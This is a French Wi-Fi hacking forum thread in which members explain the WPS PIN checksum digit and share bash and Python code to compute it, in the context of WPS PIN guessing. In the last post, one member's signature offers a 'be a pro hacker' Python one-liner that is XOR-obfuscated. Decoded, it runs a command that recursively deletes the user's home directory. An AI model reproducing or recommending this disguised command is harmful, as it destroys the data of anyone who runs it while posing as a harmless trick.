Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 04-11-2012 20:29:35

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Coder la fonction du checksum sur le huitième chiffre des PIN WPS

Suite à une découverte digne d'intérêt smile, je dois maintenant donner forme à ma trouvaille pour pouvoir la partager.
Je vais être très modeste, car débutant, et dans un premier temps réaliser un simple script en bash qui se passe dans une seule et même console.

Mon premier problème c'est que je n'arrive pas a bien comprendre comment se déroule ce fameux  checksum.
Comme vous le savez sans doute, le huitième chiffre d'un PIN WPS est donné car c'est un total de contrôle des 7 précédents

Seleccin_015.png

En cherchant j'ai rencontré la formule sur un document de realteck, elle est exacte car je la retrouve dans wpscrack.py et d'autres documents mais je ne sais pas exactement ce qu'elle fait.

realteck home page a écrit :

The formula of calculating checksum:
int ComputeChecksum(unsigned long int PIN)

{
unsigned long int accum = 0;
PIN *= 10;
accum += 3 * ((PIN / 10000000) % 10);
accum += 1 * ((PIN / 1000000) % 10);
accum += 3 * ((PIN / 100000) % 10);
accum += 1 * ((PIN / 10000) % 10);
accum += 3 * ((PIN / 1000) % 10);
accum += 1 * ((PIN / 100) % 10);
accum += 3 * ((PIN / 10) % 10);
int digit = (accum % 10);
return (10 - digit) % 10;
}

The formula of validating the checksum:
bool ValidateChecksum(unsigned long int PIN)


{
unsigned long int accum = 0;
accum += 3 * ((PIN / 10000000) % 10);
accum += 1 * ((PIN / 1000000) % 10);
accum += 3 * ((PIN / 100000) % 10);
accum += 1 * ((PIN / 10000) % 10);
accum += 3 * ((PIN / 1000) % 10);
accum += 1 * ((PIN / 100) % 10);
accum += 3 * ((PIN / 10) % 10);
accum += 1 * ((PIN / 1) % 10);
return (0 == (accum % 10));
}

Realteck 8186 Wi-Fi Protercted Setup user guide V1.0
Realtek 8186 Wi-Fi Protected Setup
User Guide V1.0




J'arrive à comprendre que l'on doit multiplier le premier numéros du PIN par 3, le second par 1, le troisième par 3, le quatrième par 1 et aisni de suite.
J'ai l'impression que tout ceci est additionné puis réduit ...
mais  alors là je suis complètement perdu, je sors d'une terminale L avec trauma maths + 10
Alors comme ça va pas être facile pour moi faire le script car je suis débutant, si en plus je ne comprends pas bien comment ce fait le checksum... tongue

Dernière modification par kcdtv (04-11-2012 20:34:27)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 04-11-2012 22:44:12

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Coder la fonction du checksum sur le huitième chiffre des PIN WPS

C'est sans doute le symbole "%" qui te perturbe, c'est ce qu'on appelle le "modulo" ou plus simplement le reste de la division. C'est ce qui reste quand tu retires au premier nombre tous les multiples du deuxième :
12 modulo 10 = 2 (parce que tu retires 1x10)
58 modulo 10 = 8 (parce que tu retires 5x10)
etc...
Le cas particulier du modulo 10 fait que tu prends juste les unités (le dernier chiffre), les dizaines (et centaines, et milliers, et...) sont éliminés.

Si on prend un exemple avec un pin valide : 8338138, et on veut son dernier chiffre (le checksum)
- on commence par multiplier le pin par 10, ce qui revient à ajouter un 0 comme huitième chiffre => 83381380
- on divise le pin par 10000000 => 8,338138
- on prend son modulo 10 => 8 (les décimales sont éliminées par le modulo)
- on le multiplie par 3 => 24
-- idem avec les 6 chiffres suivants, on obtient respectivement 3, 9, 8, 3, 3 et 24
- on fait la somme de tous ces nombres => 24+3+9+8+3+3+24=74
- on appelle "digit" le modulo 10 de ce résultat => 4 (puisqu'on élimine les dizaines)
- on fait (10-digit) et on prend son modulo 10 => (10-4)%10=6, 6 qui est donc notre checksum ! smile

Pour le vérifier, on reprend notre somme "accum" du dessus (74, donc) et on y ajoute un dernier terme : (1*83381386) % 10=6. Le nouveau résultat devient donc 80 (74+6). On prend ensuite le modulo 10 de ce nouveau résultat : 80 % 10 = 0 (puisque 80 est un multiple de 10), et on valide donc bien la condition  (0 == (accum % 10))  !

Alors, c'était pas si compliqué hein big_smile

Maintenant, pour l'implémentation, le bash n'est certainement pas le meilleur langage (Python ferait ça plus simplement, et C beaucoup plus rapidement) mais voilà ce que ça donne. La syntaxe est pénible mais on ne sait rien y faire...

#!/bin/bash

# PIN_7 est le code PIN à 7 chiffres dont on veut calculer le checksum
PIN_7=8338138

#Génération du checksum

PIN=`expr 10 '*' $PIN_7`
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

echo "Le pin trouvé est $CHECKSUM"

#Validation du checksum

PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`

if [ $RESTE -eq 0 ]
then
	echo "Le PIN $CHECKSUM est bien valide"
	exit 0
else
	echo "Le PIN $CHECKSUM n'est pas valide"
	exit 1
fi

Je suis curieux de voir ce que tu nous prépares avec ça smile

Hors Ligne

#3 04-11-2012 23:14:50

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : Coder la fonction du checksum sur le huitième chiffre des PIN WPS

Que te dire antares? Ça fait deux semaines que je cherche à comprendre cette règle...
MERCI smile
Tu m'as enlevé l'écharde que j'avais planté au beau milieu du pied, en plein sur un nerf... et en plus tu as même fais un code... comme il est bôôÔ smile
Qu'est ce que je ferais sans toi... tongue
Là pour le coup j'étais à 10 millions d'années lumières de comprendre quoi que ce soit.
La curiosité n'est pas un vilain défaut, ce qui se passe c'est que comme j'ai fais la découverte dans le cadre de lampiweb.com et avec les données des utilisateurs de lampiweb.com, je me dois d'attendre que l'application du forum (windows) soit conçue et sortie pour lancer la version linux ici.
Et pour le moment il y a encore des choses à éclaircir et à peaufiner mais tout ça ne va pas prendre trop de temps, je pense qu'avant le mois de décembre ou en début décembre.
Je t'enverrais par privé le code avant de le publier, si tu veux bien, ça me fairais vraiment plaisir que tu le corriges et puis on le signe ensemble avec dédicace à crack-wifi.com.
Tu es partant?

PS: vu comment tu as torché la fonction du checksum en deux coup de cuillère à pot, le reste te prendrait, disons... trois coup de cuillères  tongue

Dernière modification par kcdtv (04-11-2012 23:21:04)

Hors Ligne

#4 11-11-2012 14:57:58

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : Coder la fonction du checksum sur le huitième chiffre des PIN WPS

Voici une petite classe en python pour valider un code et trouver le checksum.

Pour l'utiliser,

chmod +x wpsum.py
./wpsum.py 83381387
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-

import sys

class WPS_PIN():
    def __init__(self,pin):
        self.pin = pin # string
        self.npin = [int(i) for i in self.pin] # liste d'entiers

    def is_valid(self):
        tmp = (sum([ 3 * i for i in self.npin if (i % 2 == 0 )]) + sum([ i for i in self.npin if (i % 2 == 1 )])) % 10 # checksum
        # au lieu de faire cette somme la, on aurait pu factoriser les multiplications. mais bon c'est un détail.
        return 0 == tmp

    def find_valid(self):
        for i in xrange(10):
            tmp = WPS_PIN(self.pin[:-1]+str(i))
            if tmp.is_valid():
                return i

    def check(self):
        if self.is_valid():
            print "Pin",self.pin,"valide (:"
        else:
            print "Pin",self.pin,"invalide, le dernier numéro aurait du être",self.find_valid()

if __name__ == "__main__":
    wp = WPS_PIN(sys.argv[1])
    print "Pin : ",wp.pin
    wp.check()

Vous aurez noté que le checksum est le EAN13, le même que les codes barres (:


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.032 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]